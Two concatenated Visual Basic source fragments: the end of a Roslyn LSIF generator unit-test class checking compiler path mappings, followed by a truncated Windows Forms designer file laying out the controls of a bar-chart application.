""/noconfig /nowarn:1701,1702 /fullpaths /define:DEBUG F:\\SourceFile.cs /target:library /out:F:\\Output.dll"", ""projectFilePath"": ""F:\\Project.csproj"", ""sourceRootPath"": ""F:\\"", ""pathMappings"": [ { ""from"": ""F:\\"", ""to"": ""T:"" }] }") Dim syntaxTree = Assert.Single(compilerInvocation.Compilation.SyntaxTrees) Assert.Equal("T:\SourceFile.cs", syntaxTree.FilePath) End Sub <Fact> Public Async Sub TestSourceFilePathMappingWithSubdirectoriesWithoutTrailingSlashes() Dim compilerInvocation = Await Microsoft.CodeAnalysis.LanguageServerIndexFormat.Generator.CompilerInvocation.CreateFromJsonAsync(" { ""tool"": ""csc"", ""arguments"": ""/noconfig /nowarn:1701,1702 /fullpaths /define:DEBUG F:\\Directory\\SourceFile.cs /target:library /out:F:\\Output.dll"", ""projectFilePath"": ""F:\\Project.csproj"", ""sourceRootPath"": ""F:\\"", ""pathMappings"": [ { ""from"": ""F:\\Directory"", ""to"": ""T:\\Directory"" }] }") Dim syntaxTree = Assert.Single(compilerInvocation.Compilation.SyntaxTrees) Assert.Equal("T:\Directory\SourceFile.cs", syntaxTree.FilePath) End Sub <Fact> Public Async Sub TestSourceFilePathMappingWithSubdirectoriesWithDoubleSlashesInFilePath() Dim compilerInvocation = Await Microsoft.CodeAnalysis.LanguageServerIndexFormat.Generator.CompilerInvocation.CreateFromJsonAsync(" { ""tool"": ""csc"", ""arguments"": ""/noconfig /nowarn:1701,1702 /fullpaths /define:DEBUG F:\\Directory\\\\SourceFile.cs /target:library /out:F:\\Output.dll"", ""projectFilePath"": ""F:\\Project.csproj"", ""sourceRootPath"": ""F:\\"", ""pathMappings"": [ { ""from"": ""F:\\Directory"", ""to"": ""T:\\Directory"" }] }") Dim syntaxTree = Assert.Single(compilerInvocation.Compilation.SyntaxTrees) Assert.Equal("T:\Directory\SourceFile.cs", syntaxTree.FilePath) End Sub <Fact> Public Async Sub TestRuleSetPathMapping() Const RuleSetContents = "<?xml version=""1.0""?> <RuleSet Name=""Name"" ToolsVersion=""10.0""> <Rules AnalyzerId=""Microsoft.Analyzers.ManagedCodeAnalysis"" RuleNamespace=""Microsoft.Rules.Managed""> <Rule Id=""CA1001"" Action=""Warning"" /> </Rules> </RuleSet>" Using ruleSet = New DisposableFile(extension:=".ruleset") ruleSet.WriteAllText(RuleSetContents) ' We will test that if we redirect the ruleset to the temporary file that we wrote that the values are still read. Dim compilerInvocation = Await Microsoft.CodeAnalysis.LanguageServerIndexFormat.Generator.CompilerInvocation.CreateFromJsonAsync(" { ""tool"": ""csc"", ""arguments"": ""/noconfig /nowarn:1701,1702 /fullpaths /define:DEBUG /ruleset:F:\\Ruleset.ruleset /out:Output.dll"", ""projectFilePath"": ""F:\\Project.csproj"", ""sourceRootPath"": ""F:\\"", ""pathMappings"": [ { ""from"": ""F:\\Ruleset.ruleset"", ""to"": """ + ruleSet.Path.Replace("\", "\\") + """ }] }") Assert.Equal(ReportDiagnostic.Warn, compilerInvocation.Compilation.Options.SpecificDiagnosticOptions("CA1001")) End Using End Sub End Class End Namespace
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _ Partial Class Main Inherits System.Windows.Forms.Form 'Form overrides dispose to clean up the component list. <System.Diagnostics.DebuggerNonUserCode()> _ Protected Overrides Sub Dispose(ByVal disposing As Boolean) Try If disposing AndAlso components IsNot Nothing Then components.Dispose() End If Finally MyBase.Dispose(disposing) End Try End Sub 'Required by the Windows Form Designer Private components As System.ComponentModel.IContainer 'NOTE: The following procedure is required by the Windows Form Designer 'It can be modified using the Windows Form Designer. 'Do not modify it using the code editor. <System.Diagnostics.DebuggerStepThrough()> _ Private Sub InitializeComponent() Me.components = New System.ComponentModel.Container() Dim ChartArea1 As System.Windows.Forms.DataVisualization.Charting.ChartArea = New System.Windows.Forms.DataVisualization.Charting.ChartArea() Dim Legend1 As System.Windows.Forms.DataVisualization.Charting.Legend = New System.Windows.Forms.DataVisualization.Charting.Legend() Dim Series1 As System.Windows.Forms.DataVisualization.Charting.Series = New System.Windows.Forms.DataVisualization.Charting.Series() Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Main)) Me.btnWebPages = New System.Windows.Forms.Button() Me.ContextMenuStrip1 = New System.Windows.Forms.ContextMenuStrip(Me.components) Me.ToolStripMenuItem1_EditWorkflowTabPage = New System.Windows.Forms.ToolStripMenuItem() Me.ToolStripMenuItem1_ShowStartPageInWorkflowTab = New System.Windows.Forms.ToolStripMenuItem() Me.btnAppInfo = New System.Windows.Forms.Button() Me.btnOnline = New System.Windows.Forms.Button() Me.btnMessages = New System.Windows.Forms.Button() Me.btnExit = New System.Windows.Forms.Button() Me.btnAndorville = New System.Windows.Forms.Button() Me.TabControl1 = New System.Windows.Forms.TabControl() Me.TabPage3 = New System.Windows.Forms.TabPage() Me.WebBrowser1 = New System.Windows.Forms.WebBrowser() Me.TabPage1 = New System.Windows.Forms.TabPage() Me.Chart1 = New System.Windows.Forms.DataVisualization.Charting.Chart() Me.btnZoomChart = New System.Windows.Forms.Button() Me.btnOpen = New System.Windows.Forms.Button() Me.btnMarkerProps2 = New System.Windows.Forms.Button() Me.btnDrawChart = New System.Windows.Forms.Button() Me.btnShowChartSettings = New System.Windows.Forms.Button() Me.rbPreviewChart = New System.Windows.Forms.RadioButton() Me.txtChartFileName = New System.Windows.Forms.TextBox() Me.rbNewWindowChart = New System.Windows.Forms.RadioButton() Me.Label33 = New System.Windows.Forms.Label() Me.btnNew = New System.Windows.Forms.Button() Me.chkAutoDraw = New System.Windows.Forms.CheckBox() Me.btnSave = New System.Windows.Forms.Button() Me.btnNewChartWindow = New System.Windows.Forms.Button() Me.TabPage4 = New System.Windows.Forms.TabPage() Me.TabControl2 = New System.Windows.Forms.TabControl() Me.TabPage5 = New System.Windows.Forms.TabPage() Me.TabControl3 = New System.Windows.Forms.TabControl() Me.TabPage10 = New System.Windows.Forms.TabPage() Me.btnApplyInputDataSettings = New System.Windows.Forms.Button() Me.Label32 = New System.Windows.Forms.Label() Me.txtDataDescription = New System.Windows.Forms.TextBox() Me.btnApplyQuery = New System.Windows.Forms.Button() Me.btnViewData = New System.Windows.Forms.Button() Me.btnDesignQuery = New System.Windows.Forms.Button() Me.lstFields = New System.Windows.Forms.ListBox() Me.Label16 = New System.Windows.Forms.Label() Me.lstTables = New System.Windows.Forms.ListBox() Me.Label18 = New System.Windows.Forms.Label() Me.txtInputQuery = New System.Windows.Forms.TextBox() Me.Label19 = New System.Windows.Forms.Label() Me.Label20 = New System.Windows.Forms.Label() Me.cmbDatabaseType = New System.Windows.Forms.ComboBox() Me.btnDatabase = New System.Windows.Forms.Button() Me.txtDatabasePath = New System.Windows.Forms.TextBox() Me.Label21 = New System.Windows.Forms.Label() Me.TabPage11 = New System.Windows.Forms.TabPage() Me.Label31 = New System.Windows.Forms.Label() Me.rbDataset = New System.Windows.Forms.RadioButton() Me.rbDatabase = New System.Windows.Forms.RadioButton() Me.TabPage7 = New System.Windows.Forms.TabPage() Me.btnChartTitleColor = New System.Windows.Forms.Button() Me.btnCancelTitlesSettings = New System.Windows.Forms.Button() Me.btnApplyTitlesSettings = New System.Windows.Forms.Button() Me.cmbOrientation = New System.Windows.Forms.ComboBox() Me.Label63 = New System.Windows.Forms.Label() Me.btnDelTitle = New System.Windows.Forms.Button() Me.btnAddTitle = New System.Windows.Forms.Button() Me.txtTitlesRecordNo = New System.Windows.Forms.TextBox() Me.Label55 = New System.Windows.Forms.Label() Me.btnNextTitle = New System.Windows.Forms.Button() Me.btnPrevTitle = New System.Windows.Forms.Button() Me.Label56 = New System.Windows.Forms.Label() Me.txtNTitlesRecords = New System.Windows.Forms.TextBox() Me.txtTitleName = New System.Windows.Forms.TextBox() Me.Label57 = New System.Windows.Forms.Label() Me.cmbAlignment = New System.Windows.Forms.ComboBox() Me.Label25 = New System.Windows.Forms.Label() Me.btnChartTitleFont = New System.Windows.Forms.Button() Me.txtChartTitle = New System.Windows.Forms.TextBox() Me.Label26 = New System.Windows.Forms.Label() Me.TabPage6 = New System.Windows.Forms.TabPage() Me.cmbXAxisValueType = New System.Windows.Forms.ComboBox() Me.Label69 = New System.Windows.Forms.Label() Me.cmbChartArea = New System.Windows.Forms.ComboBox() Me.Label64 = New System.Windows.Forms.Label() Me.btnMarkerProps = New System.Windows.Forms.Button() Me.cmbXAxisType = New System.Windows.Forms.ComboBox() Me.Label58 = New System.Windows.Forms.Label() Me.btnCancelSeriesSettings = New System.Windows.Forms.Button() Me.btnApplySeriesSettings = New System.Windows.Forms.Button() Me.btnDeleteSeries = New System.Windows.Forms.Button() Me.btnAddSeries = New System.Windows.Forms.Button() Me.txtSeriesRecordNo = New System.Windows.Forms.TextBox() Me.Label47 = New System.Windows.Forms.Label() Me.btnNextSeries = New System.Windows.Forms.Button() Me.btnPrevSeries = New System.Windows.Forms.Button() Me.Label48 = New System.Windows.Forms.Label() Me.txtNSeriesRecords = New System.Windows.Forms.TextBox() Me.txtChartDescr = New System.Windows.Forms.TextBox() Me.SplitContainer1 = New System.Windows.Forms.SplitContainer() Me.cmbYAxisValueType = New System.Windows.Forms.ComboBox() Me.cmbYAxisType = New System.Windows.Forms.ComboBox() Me.Label70 = New System.Windows.Forms.Label() Me.Label59 = New System.Windows.Forms.Label() Me.DataGridView1 = New System.Windows.Forms.DataGridView() Me.Label22 = New System.Windows.Forms.Label() Me.DataGridView2 = New System.Windows.Forms.DataGridView() Me.Label23 = New System.Windows.Forms.Label() Me.txtSeriesName = New System.Windows.Forms.TextBox() Me.Label35 = New System.Windows.Forms.Label() Me.cmbXValues = New System.Windows.Forms.ComboBox() Me.Label24 = New System.Windows.Forms.Label() Me.TabPage15 = New System.Windows.Forms.TabPage() Me.btnCancelAreaSettings = New System.Windows.Forms.Button() Me.btnApplyAreaSettings = New System.Windows.Forms.Button() Me.btnDeleteArea = New System.Windows.Forms.Button() Me.btnAddArea = New System.Windows.Forms.Button() Me.txtAreaRecordNo = New System.Windows.Forms.TextBox() Me.Label60 = New System.Windows.Forms.Label() Me.btnNextArea = New System.Windows.Forms.Button() Me.btnPrevArea = New System.Windows.Forms.Button() Me.Label61 = New System.Windows.Forms.Label() Me.txtNAreaRecords = New System.Windows.Forms.TextBox() Me.txtAreaName = New System.Windows.Forms.TextBox() Me.Label62 = New System.Windows.Forms.Label() Me.TabControl4 = New System.Windows.Forms.TabControl() Me.TabPage14 = New System.Windows.Forms.TabPage() Me.btnXAxisZoom = New System.Windows.Forms.Button() Me.Label73 = New System.Windows.Forms.Label() Me.txtXAxisZoomInterval = New System.Windows.Forms.TextBox() Me.btnZoomOK = New System.Windows.Forms.Button() Me.txtXAxisZoomTo = New System.Windows.Forms.TextBox() Me.Label72 = New System.Windows.Forms.Label() Me.txtXAxisZoomFrom = New System.Windows.Forms.TextBox() Me.Label71 = New System.Windows.Forms.Label() Me.chkXAxisScrollBar = New System.Windows.Forms.CheckBox() Me.txtXAxisLabelStyleFormat = New System.Windows.Forms.TextBox() Me.Label65 = New System.Windows.Forms.Label() Me.btnXAxisTitleColor = New System.Windows.Forms.Button() Me.chkXAxisAutoMajGridInt = New System.Windows.Forms.CheckBox() Me.txtXAxisMajGridInt = New System.Windows.Forms.TextBox() Me.Label36 = New System.Windows.Forms.Label() Me.chkXAxisAutoAnnotInt = New System.Windows.Forms.CheckBox() Me.txtXAxisAnnotInt = New System.Windows.Forms.TextBox() Me.Label27 = New System.Windows.Forms.Label() Me.chkXAxisAutoMax = New System.Windows.Forms.CheckBox() Me.chkXAxisAutoMin = New System.Windows.Forms.CheckBox() Me.DateTimePicker2 = New System.Windows.Forms.DateTimePicker() Me.DateTimePicker1 = New System.Windows.Forms.DateTimePicker() Me.txtXAxisMax = New System.Windows.Forms.TextBox() Me.Label28 = New System.Windows.Forms.Label() Me.txtXAxisMin = New System.Windows.Forms.TextBox() Me.Label29 = New System.Windows.Forms.Label() Me.cmbXAxisTitleAlignment = New System.Windows.Forms.ComboBox() Me.Label30 = New System.Windows.Forms.Label() Me.btnXAxisTitleFont = New System.Windows.Forms.Button() Me.txtXAxisTitle = New System.Windows.Forms.TextBox() Me.Label34 = New System.Windows.Forms.Label() Me.TabPage16 = New System.Windows.Forms.TabPage() Me.btnX2AxisZoom = New System.Windows.Forms.Button() Me.chkX2AxisScrollBar = New System.Windows.Forms.CheckBox() Me.txtX2AxisLabelStyleFormat = New System.Windows.Forms.TextBox() Me.Label66 = New System.Windows.Forms.Label() Me.btnX2AxisTitleColor = New System.Windows.Forms.Button() Me.chkX2AxisAutoMajGridInt = New System.Windows.Forms.CheckBox() Me.txtX2AxisMajGridInt = New System.Windows.Forms.TextBox() Me.Label49 = New System.Windows.Forms.Label() Me.chkX2AxisAutoAnnotInt = New System.Windows.Forms.CheckBox() Me.txtX2AxisAnnotInt = New System.Windows.Forms.TextBox() Me.Label50 = New System.Windows.Forms.Label() Me.chkX2AxisAutoMax = New System.Windows.Forms.CheckBox() Me.chkX2AxisAutoMin = New System.Windows.Forms.CheckBox() Me.DateTimePicker7 = New System.Windows.Forms.DateTimePicker() Me.DateTimePicker8 = New System.Windows.Forms.DateTimePicker() Me.txtX2AxisMax = New System.Windows.Forms.TextBox() Me.Label51 = New System.Windows.Forms.Label() Me.txtX2AxisMin = New System.Windows.Forms.TextBox() Me.Label52 = New System.Windows.Forms.Label() Me.cmbX2AxisTitleAlignment = New System.Windows.Forms.ComboBox() Me.Label53 = New System.Windows.Forms.Label() Me.btnX2AxisTitleFont = New System.Windows.Forms.Button() Me.txtX2AxisTitle = New System.Windows.Forms.TextBox() Me.Label54 = New System.Windows.Forms.Label() Me.TabPage17 = New System.Windows.Forms.TabPage() Me.btnYAxisZoom = New System.Windows.Forms.Button() Me.chkYAxisScrollBar = New System.Windows.Forms.CheckBox() Me.txtYAxisLabelStyleFormat = New System.Windows.Forms.TextBox() Me.Label67 = New System.Windows.Forms.Label() Me.btnYAxisTitleColor = New System.Windows.Forms.Button() Me.chkYAxisAutoMajGridInt = New System.Windows.Forms.CheckBox() Me.txtYAxisMajGridInt = New System.Windows.Forms.TextBox() Me.Label37 = New System.Windows.Forms.Label() Me.chkYAxisAutoAnnotInt = New System.Windows.Forms.CheckBox() Me.txtYAxisAnnotInt = New System.Windows.Forms.TextBox() Me.Label38 = New System.Windows.Forms.Label() Me.chkYAxisAutoMax = New System.Windows.Forms.CheckBox() Me.DateTimePicker4 = New System.Windows.Forms.DateTimePicker() Me.DateTimePicker3 = New System.Windows.Forms.DateTimePicker() Me.chkYAxisAutoMin = New System.Windows.Forms.CheckBox() Me.txtYAxisMax = New System.Windows.Forms.TextBox() Me.txtYAxisMin = New System.Windows.Forms.TextBox() Me.Label39 = New System.Windows.Forms.Label() Me.Label40 = New System.Windows.Forms.Label() Me.cmbYAxisTitleAlignment = New System.Windows.Forms.ComboBox() Me.Label41 = New System.Windows.Forms.Label() Me.btnYAxisTitleFont = New System.Windows.Forms.Button() Me.txtYAxisTitle = New System.Windows.Forms.TextBox() Me.Label42 = New System.Windows.Forms.Label() Me.TabPage18 = New System.Windows.Forms.TabPage() Me.btnY2AxisZoom = New System.Windows.Forms.Button() Me.chkY2AxisScrollBar = New System.Windows.Forms.CheckBox() Me.txtY2AxisLabelStyleFormat = New System.Windows.Forms.TextBox() Me.Label68 = New System.Windows.Forms.Label() Me.btnY2AxisTitleColor = New System.Windows.Forms.Button() Me.chkY2AxisAutoMajGridInt = New System.Windows.Forms.CheckBox() Me.txtY2AxisMajGridInt = New System.Windows.Forms.TextBox() Me.Label5 = New System.Windows.Forms.Label() Me.chkY2AxisAutoAnnotInt = New System.Windows.Forms.CheckBox() Me.txtY2AxisAnnotInt = New System.Windows.Forms.TextBox() Me.Label14 = New System.Windows.Forms.Label() Me.chkY2AxisAutoMax = New System.Windows.Forms.CheckBox() Me.DateTimePicker5 = New System.Windows.Forms.DateTimePicker() Me.DateTimePicker6 = New System.Windows.Forms.DateTimePicker() Me.chkY2AxisAutoMin = New System.Windows.Forms.CheckBox() Me.txtY2AxisMax = New System.Windows.Forms.TextBox() Me.txtY2AxisMin = New System.Windows.Forms.TextBox() Me.Label15 = New System.Windows.Forms.Label() Me.Label43 = New System.Windows.Forms.Label() Me.cmbY2AxisTitleAlignment = New System.Windows.Forms.ComboBox() Me.Label44 = New System.Windows.Forms.Label() Me.btnY2AxisTitleFont = New System.Windows.Forms.Button() Me.txtY2AxisTitle = New System.Windows.Forms.TextBox() Me.Label46 = New System.Windows.Forms.Label() Me.TabPage2 = New System.Windows.Forms.TabPage() Me.btnShowProjectInfo = New System.Windows.Forms.Button() Me.chkConnect = New System.Windows.Forms.CheckBox() Me.btnOpenProject = New System.Windows.Forms.Button() Me.Label13 = New System.Windows.Forms.Label() Me.txtProjectPath = New System.Windows.Forms.TextBox() Me.txtProNetName = New System.Windows.Forms.TextBox() Me.Label9 = New System.Windows.Forms.Label() Me.btnOpenAppDir = New System.Windows.Forms.Button() Me.Label7 = New System.Windows.Forms.Label() Me.Label17 = New System.Windows.Forms.Label() Me.btnOpenSystem = New System.Windows.Forms.Button() Me.btnOpenData = New System.Windows.Forms.Button() Me.btnOpenSettings = New System.Windows.Forms.Button() Me.btnParameters = New System.Windows.Forms.Button() Me.txtParentProject = New System.Windows.Forms.TextBox() Me.Label45 = New System.Windows.Forms.Label() Me.Label80 = New System.Windows.Forms.Label() Me.btnAdd = New System.Windows.Forms.Button() Me.txtSystemLocationType = New System.Windows.Forms.TextBox() Me.txtSystemPath = New System.Windows.Forms.TextBox() Me.txtCurrentDuration = New System.Windows.Forms.TextBox() Me.Label12 = New System.Windows.Forms.Label() Me.txtTotalDuration = New System.Windows.Forms.TextBox() Me.Label2 = New System.Windows.Forms.Label() Me.Label1 = New System.Windows.Forms.Label() Me.txtLastUsed = New System.Windows.Forms.TextBox() Me.Label11 = New System.Windows.Forms.Label() Me.txtCreationDate = New System.Windows.Forms.TextBox() Me.Label10 = New System.Windows.Forms.Label() Me.txtDataPath = New System.Windows.Forms.TextBox() Me.txtDataLocationType = New System.Windows.Forms.TextBox() Me.Label8 = New System.Windows.Forms.Label() Me.txtSettingsPath = New System.Windows.Forms.TextBox() Me.txtSettingsLocationType = New System.Windows.Forms.TextBox() Me.Label6 = New System.Windows.Forms.Label() Me.txtProjectType = New System.Windows.Forms.TextBox() Me.txtProjectDescription = New System.Windows.Forms.TextBox() Me.Label4 = New System.Windows.Forms.Label() Me.txtProjectName = New System.Windows.Forms.TextBox() Me.Label3 = New System.Windows.Forms.Label() Me.btnProject = New System.Windows.Forms.Button() Me.Timer1 = New System.Windows.Forms.Timer(Me.components) Me.OpenFileDialog1 = New System.Windows.Forms.OpenFileDialog() Me.FontDialog1 = New System.Windows.Forms.FontDialog() Me.ColorDialog1 = New System.Windows.Forms.ColorDialog() Me.ContextMenuStrip1.SuspendLayout() Me.TabControl1.SuspendLayout() Me.TabPage3.SuspendLayout() Me.TabPage1.SuspendLayout() CType(Me.Chart1, System.ComponentModel.ISupportInitialize).BeginInit() Me.TabPage4.SuspendLayout() Me.TabControl2.SuspendLayout() Me.TabPage5.SuspendLayout() Me.TabControl3.SuspendLayout() Me.TabPage10.SuspendLayout() Me.TabPage7.SuspendLayout() Me.TabPage6.SuspendLayout() CType(Me.SplitContainer1, System.ComponentModel.ISupportInitialize).BeginInit() Me.SplitContainer1.Panel1.SuspendLayout() Me.SplitContainer1.Panel2.SuspendLayout() Me.SplitContainer1.SuspendLayout() CType(Me.DataGridView1, System.ComponentModel.ISupportInitialize).BeginInit() CType(Me.DataGridView2, System.ComponentModel.ISupportInitialize).BeginInit() Me.TabPage15.SuspendLayout() Me.TabControl4.SuspendLayout() Me.TabPage14.SuspendLayout() Me.TabPage16.SuspendLayout() Me.TabPage17.SuspendLayout() Me.TabPage18.SuspendLayout() Me.TabPage2.SuspendLayout() Me.SuspendLayout() ' 'btnWebPages ' Me.btnWebPages.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.btnWebPages.ContextMenuStrip = Me.ContextMenuStrip1 Me.btnWebPages.Location = New System.Drawing.Point(606, 12) Me.btnWebPages.Name = "btnWebPages" Me.btnWebPages.Size = New System.Drawing.Size(68, 22) Me.btnWebPages.TabIndex = 284 Me.btnWebPages.Text = "Workflows" Me.btnWebPages.UseVisualStyleBackColor = True ' 'ContextMenuStrip1 ' Me.ContextMenuStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {Me.ToolStripMenuItem1_EditWorkflowTabPage, Me.ToolStripMenuItem1_ShowStartPageInWorkflowTab}) Me.ContextMenuStrip1.Name = "ContextMenuStrip1" Me.ContextMenuStrip1.Size = New System.Drawing.Size(248, 48) ' 'ToolStripMenuItem1_EditWorkflowTabPage ' Me.ToolStripMenuItem1_EditWorkflowTabPage.Name = "ToolStripMenuItem1_EditWorkflowTabPage" Me.ToolStripMenuItem1_EditWorkflowTabPage.Size = New System.Drawing.Size(247, 22) Me.ToolStripMenuItem1_EditWorkflowTabPage.Text = "Edit Workflow Tab Page" ' 'ToolStripMenuItem1_ShowStartPageInWorkflowTab ' Me.ToolStripMenuItem1_ShowStartPageInWorkflowTab.Name = "ToolStripMenuItem1_ShowStartPageInWorkflowTab" Me.ToolStripMenuItem1_ShowStartPageInWorkflowTab.Size = New System.Drawing.Size(247, 22) Me.ToolStripMenuItem1_ShowStartPageInWorkflowTab.Text = "Show Start Page In Workflow Tab" ' 'btnAppInfo ' Me.btnAppInfo.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.btnAppInfo.Location = New System.Drawing.Point(680, 12) Me.btnAppInfo.Name = "btnAppInfo" Me.btnAppInfo.Size = New System.Drawing.Size(95, 22) Me.btnAppInfo.TabIndex = 283 Me.btnAppInfo.Text = "Application Info" Me.btnAppInfo.UseVisualStyleBackColor = True ' 'btnOnline ' Me.btnOnline.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.btnOnline.Font = New System.Drawing.Font("Microsoft Sans Serif", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) Me.btnOnline.ForeColor = System.Drawing.Color.Red Me.btnOnline.Location = New System.Drawing.Point(859, 12) Me.btnOnline.Name = "btnOnline" Me.btnOnline.Size = New System.Drawing.Size(56, 22) Me.btnOnline.TabIndex = 282 Me.btnOnline.Text = "Offline" Me.btnOnline.UseVisualStyleBackColor = True ' 'btnMessages ' Me.btnMessages.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.btnMessages.Location = New System.Drawing.Point(781, 12) Me.btnMessages.Name = "btnMessages" Me.btnMessages.Size = New System.Drawing.Size(72, 22) Me.btnMessages.TabIndex = 281 Me.btnMessages.Text = "Messages" Me.btnMessages.UseVisualStyleBackColor = True ' 'btnExit ' Me.btnExit.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.btnExit.Location = New System.Drawing.Point(921, 12) Me.btnExit.Name = "btnExit" Me.btnExit.Size = New System.Drawing.Size(48, 22) Me.btnExit.TabIndex = 280 Me.btnExit.Text = "Exit" Me.btnExit.UseVisualStyleBackColor = True ' 'btnAndorville ' Me.btnAndorville.BackgroundImage = Global.ADVL_Bar_Chart_1.My.Resources.Resources.Andorville_16May16_TM_Crop_Grey Me.btnAndorville.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch Me.btnAndorville.Font = New System.Drawing.Font("Harlow Solid Italic", 14.25!, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) Me.btnAndorville.Location = New System.Drawing.Point(5, 5) Me.btnAndorville.Name = "btnAndorville" Me.btnAndorville.Size = New System.Drawing.Size(118, 29) Me.btnAndorville.TabIndex = 285 Me.btnAndorville.UseVisualStyleBackColor = True ' 'TabControl1 ' Me.TabControl1.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _ Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.TabControl1.Controls.Add(Me.TabPage3) Me.TabControl1.Controls.Add(Me.TabPage1) Me.TabControl1.Controls.Add(Me.TabPage4) Me.TabControl1.Controls.Add(Me.TabPage2) Me.TabControl1.Location = New System.Drawing.Point(12, 40) Me.TabControl1.Name = "TabControl1" Me.TabControl1.SelectedIndex = 0 Me.TabControl1.Size = New System.Drawing.Size(957, 518) Me.TabControl1.TabIndex = 286 ' 'TabPage3 ' Me.TabPage3.Controls.Add(Me.WebBrowser1) Me.TabPage3.Location = New System.Drawing.Point(4, 22) Me.TabPage3.Name = "TabPage3" Me.TabPage3.Size = New System.Drawing.Size(949, 492) Me.TabPage3.TabIndex = 2 Me.TabPage3.Text = "Workflow" Me.TabPage3.UseVisualStyleBackColor = True ' 'WebBrowser1 ' Me.WebBrowser1.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _ Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.WebBrowser1.Location = New System.Drawing.Point(3, 3) Me.WebBrowser1.MinimumSize = New System.Drawing.Size(20, 20) Me.WebBrowser1.Name = "WebBrowser1" Me.WebBrowser1.Size = New System.Drawing.Size(943, 486) Me.WebBrowser1.TabIndex = 68 ' 'TabPage1 ' Me.TabPage1.Controls.Add(Me.Chart1) Me.TabPage1.Controls.Add(Me.btnZoomChart) Me.TabPage1.Controls.Add(Me.btnOpen) Me.TabPage1.Controls.Add(Me.btnMarkerProps2) Me.TabPage1.Controls.Add(Me.btnDrawChart) Me.TabPage1.Controls.Add(Me.btnShowChartSettings) Me.TabPage1.Controls.Add(Me.rbPreviewChart) Me.TabPage1.Controls.Add(Me.txtChartFileName) Me.TabPage1.Controls.Add(Me.rbNewWindowChart) Me.TabPage1.Controls.Add(Me.Label33) Me.TabPage1.Controls.Add(Me.btnNew) Me.TabPage1.Controls.Add(Me.chkAutoDraw) Me.TabPage1.Controls.Add(Me.btnSave) Me.TabPage1.Controls.Add(Me.btnNewChartWindow) Me.TabPage1.Location = New System.Drawing.Point(4, 22) Me.TabPage1.Name = "TabPage1" Me.TabPage1.Padding = New System.Windows.Forms.Padding(3) Me.TabPage1.Size = New System.Drawing.Size(949, 492) Me.TabPage1.TabIndex = 1 Me.TabPage1.Text = "Bar Chart" Me.TabPage1.UseVisualStyleBackColor = True ' 'Chart1 ' ChartArea1.Name = "ChartArea1" Me.Chart1.ChartAreas.Add(ChartArea1) Legend1.Name = "Legend1" Me.Chart1.Legends.Add(Legend1) Me.Chart1.Location = New System.Drawing.Point(3, 60) Me.Chart1.Name = "Chart1" Series1.ChartArea = "ChartArea1" Series1.Legend = "Legend1" Series1.Name = "Series1" Me.Chart1.Series.Add(Series1) Me.Chart1.Size = New System.Drawing.Size(940, 426) Me.Chart1.TabIndex = 301 Me.Chart1.Text = "Chart1" ' 'btnZoomChart ' Me.btnZoomChart.Location = New System.Drawing.Point(859, 6) Me.btnZoomChart.Name = "btnZoomChart" Me.btnZoomChart.Size = New System.Drawing.Size(54, 22) Me.btnZoomChart.TabIndex = 300 Me.btnZoomChart.Text = "Zoom" Me.btnZoomChart.UseVisualStyleBackColor = True ' 'btnOpen ' Me.btnOpen.Location = New System.Drawing.Point(6, 6) Me.btnOpen.Name = "btnOpen" Me.btnOpen.Size = New System.Drawing.Size(46, 22) Me.btnOpen.TabIndex = 292 Me.btnOpen.Text = "Open" Me.btnOpen.UseVisualStyleBackColor = True ' 'btnMarkerProps2 ' Me.btnMarkerProps2.Location = New System.Drawing.Point(746, 6) Me.btnMarkerProps2.Name = "btnMarkerProps2" Me.btnMarkerProps2.Size = New System.Drawing.Size(107, 22) Me.btnMarkerProps2.TabIndex = 299 Me.btnMarkerProps2.Text = "Marker Properties" Me.btnMarkerProps2.UseVisualStyleBackColor = True ' 'btnDrawChart ' Me.btnDrawChart.Location = New System.Drawing.Point(162, 6) Me.btnDrawChart.Name = "btnDrawChart" Me.btnDrawChart.Size = New System.Drawing.Size(49, 22) Me.btnDrawChart.TabIndex = 289 Me.btnDrawChart.Text = "Draw" Me.btnDrawChart.UseVisualStyleBackColor = True ' 'btnShowChartSettings ' Me.btnShowChartSettings.Location = New System.Drawing.Point(624, 6) Me.btnShowChartSettings.Name = "btnShowChartSettings" Me.btnShowChartSettings.Size = New System.Drawing.Size(116, 22) Me.btnShowChartSettings.TabIndex = 298 Me.btnShowChartSettings.Text = "Show Chart Settings" Me.btnShowChartSettings.UseVisualStyleBackColor = True ' 'rbPreviewChart ' Me.rbPreviewChart.AutoSize = True Me.rbPreviewChart.Location = New System.Drawing.Point(299, 9) Me.rbPreviewChart.Name = "rbPreviewChart" Me.rbPreviewChart.Size = New System.Drawing.Size(63, 17) Me.rbPreviewChart.TabIndex = 290 Me.rbPreviewChart.TabStop = True Me.rbPreviewChart.Text = "Preview" Me.rbPreviewChart.UseVisualStyleBackColor = True ' 'txtChartFileName ' Me.txtChartFileName.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.txtChartFileName.Location = New 